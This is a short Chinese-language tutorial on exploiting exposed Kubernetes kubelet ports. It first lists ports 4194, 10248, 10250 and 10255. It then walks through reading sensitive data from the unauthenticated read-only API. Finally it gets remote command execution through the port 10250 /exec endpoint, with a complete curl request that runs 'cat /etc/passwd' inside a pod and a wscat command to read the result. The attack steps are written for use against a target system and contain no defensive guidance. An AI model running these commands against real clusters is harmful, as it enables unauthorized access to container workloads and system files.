kubelet漏洞利用

一、简介

kubernetes 是一个分布式的集群管理系统，在每个节点（node）上都要运行一个kubelet对容器进行生命周期的管理。
kubelet开放的端口有：

端口	作用	描述
4194	cAdvisor 监听	kublet 通过该端口可以获取到该节点的环境信息以及 node 上运行的容器状态等内容，访问 http://localhost:4194 可以看到 cAdvisor 的管理界面，通过 kubelet 的启动参数 --cadvisor-port 可以指定启动的端口。
10248	健康检查端口	健康检查通过访问该端口可以判断 kubelet 是否正常工作，通过 kubelet 的启动参数 --healthz-port 和 --healthz-bind-address 来指定监听的地址和端口。
10250	kubelet API	kubelet server 与 apiserver 通信的端口，定期请求 apiserver 获取自己所应当处理的任务，通过该端口可以访问获取node资源以及状态。
10255	readonly API	提供了pod和node的信息，接口以只读形式暴露出去，访问该端口不需要认证和鉴权。

二、漏洞利用

kubernetes主要漏洞有端口开放泄露敏感信息，10255端口如果对外开放，攻击者利用公开api可以获取敏感信息。更严重的漏洞是开放10250端口，可能存在远程命令执行漏洞。通过以使用kubernetes的某应用为例说明漏洞的利用方法。
首先确定该应用使用了kubernetes，并开放了4个端口。

1、10255端口泄露敏感信息

该漏洞利用比较简单，直接在浏览器中访问：http://X.X.X.X:10255/logs/ ，或者其他api也行，查看是否存在响应数据，如果存在，则暴露出敏感信息。

2、远程命令执行漏洞

该漏洞的利用相对复杂一点，首先需要访问https://X.X.X.X:10250/pods/，确认10250端口对外开放。如果开放，则进行下一步，需要一台linux主机执行以下指令：
curl --insecure -v -H "X-Stream-Protocol-Version: v2.channel.k8s.io" -H "X-Stream-Protocol-Version: channel.k8s.io" -X POST "https://X.X.X.X:10250/exec/namespace/podname/container-name?command=cat&command=/etc/passwd&input=1&output=1&tty=1"
command就是要远程执行的命令，本例是cat /etc/passwd。很明显需要确定三个参数，namespace、podname和container-name，此时又需要在https://X.X.X.X:10250/pods/页面中选择一个pod，如下图：

构造好curl请求之后，得到执行结果，其中location就是所需要的websocket地址。

然后在使用wscat工具连接websocket。如果在windows下安装wscat，需要先安装node和npm。wscat命令为：
wscat -c “https://X.X.X.X:10250/location的值” --no-check
查看响应值，得到/etc/passwd,确定命令执行成功。